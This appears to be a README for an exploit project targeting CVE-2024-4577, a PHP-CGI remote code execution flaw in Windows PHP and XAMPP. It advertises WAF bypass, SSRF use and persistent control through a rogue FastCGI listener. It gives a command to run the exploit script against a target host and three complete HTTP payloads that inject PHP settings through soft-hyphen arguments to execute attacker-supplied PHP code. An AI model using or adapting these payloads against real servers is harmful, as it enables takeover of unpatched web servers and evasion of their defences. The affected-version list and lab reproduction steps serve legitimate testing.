CVE-2024-4577-PHP-RCE

Project Introduction and Principle

• The world's first CVE-2024-4577 PHP-CGI RCE vulnerability EXP utilizing the PHP default environment (XAMPP).
• The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit, supports SSRF, supports WAF bypass.
• Achieves RCE in the PHP default environment. Principle: cgi.force_redirect + REDIRECT-STATUS.
• Added original EXP, supporting WAF bypass scenarios. Principle: Set up a FastCGI server + FastCGI protocol communication.
• Added original EXP, supporting SSRF scenarios. Principle: data:// protocol + GET request.

Advantages of EXP 1

• RCE without requiring allow_url_include, auto_prepend_file, auto_append_file. Can include arbitrary files and PHP files.
• Avoids keywords commonly intercepted by WAFs such as allow_url_include, auto_prepend_file, auto_append_file.
• All communication with the FastCGI server will not be logged by the WAF.
• Listens on a new port, thus achieving persistent control of the PHP server, independent of Apache and PHP.

Vulnerability Introduction

Information	Content
Vulnerability Name	PHP RCE
Vulnerability ID	CVE-2024-4577
Risk Level	High
Vulnerability Type	RCE
Exploitation Difficulty	Low

Affected Versions

• PHP Windows version 8.3.0 <= affected versions < 8.3.8
• PHP Windows version 8.2.0 <= affected versions < 8.2.20
• PHP Windows version 8.1.0 <= affected versions < 8.1.29
• PHP Windows version affected versions == 8.0.x
• PHP Windows version affected versions == 7.x
• PHP Windows version affected versions == 5.x
• XAMPP Windows version 8.2.0 <= affected versions <= 8.2.12
• XAMPP Windows version 8.1.0 <= affected versions <= 8.1.25
• XAMPP Windows version affected versions == 8.0.x
• XAMPP Windows version affected versions == 7.x
• XAMPP Windows version affected versions == 5.x

EXP 1

Can be used for WAF bypass scenarios + default scenarios:

python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort

For example:

python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80

EXP 2

Can be used for SSRF scenarios + default scenarios:

http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"

EXP 3

Can be used for default scenarios:

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost

<?php die("Te"."sT");?>

EXP 4

Can be used for default scenarios:

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN

<?php die("Te"."sT");?>

Reproduction

1. Server environment:

XAMPP Windows version 8.2.12

2. Download and install XAMPP on the server:

https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

Or choose an affected version yourself here: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/

3. Server configuration

No modifications needed, keep the default configuration

4. Use EXP on the client

Use the above EXP for testing

5. Verification

Check whether the string "TesT" is returned or the contents of the server's system.ini file